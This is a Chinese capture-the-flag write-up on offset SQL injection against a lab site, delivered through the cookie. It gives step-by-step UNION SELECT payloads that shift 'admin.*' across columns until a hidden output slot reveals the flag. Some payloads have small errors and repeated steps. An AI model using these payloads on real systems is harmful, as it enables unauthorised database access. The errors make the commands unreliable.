## 注入的两个条件:1.用户可以控制传参,2.用户输入的语句被带入数据库进行查询,偏移注入同样如此
# 偏移注入还要用到"table.*" 他的意思是代表了表里的所有字段
###运用场景是:权限不足无法获取系统表内的信息,和工具无法查出字段
先判断是否有注入点,靶场第一题,用url传参被拒绝,采用cookie进行传参
1.利用and1=1 显示正常, and 1=2 显示错误页面。证明有注入点
2。order by 语句查询有几个字段,为了后面使用联合查询
例如,order by 26 显示正确,
等于27报错,判断为26个字段
3.使用union 联合查询 显错点,输出点
语句:
document.cookie=“id=”+escape(“104 +union +select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 +from +admin”);“id=104”
4.发现了一个隐藏的输出点
语句:document.cookie=“id=”+escape(“104 +union +select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 +from +admin”);“id=104”
当前库名为security
5.挨着试查询表的字段数,用admin.代表查询表的所有字段,用联合查询依次试,不对在删除查询语句的一个列,直到正确页面显示
语句:document.cookie=“id=”+escape("104 +union +select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,admin. +from +admin");“id=104”
报错,再删一列
document.cookie=“id=”+escape(“104 +union +select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,admin.* +from +admin”);“id=104”
直到试出来
最后得到的字段数等于总长度26-还没删去的10列=16
6。查表的内容
不断偏移让输出点显示我们想要的信息,可以不断调整位置
语句:document.cookie=“id=”+escape(“104 +union +select 1,admin.,2,3,4,5,6,7,8,10,11 +from +admin")
没有得到我们想要的flag,继续偏移,变换位置
document.cookie=“id=”+escape("104 +union +select 1,2,3,4,5,6,7,8,admin.,10,11 +from +admin”
最终在隐藏显示位得到了我们想要的表内的信息:zkaq{f0e12dafb6},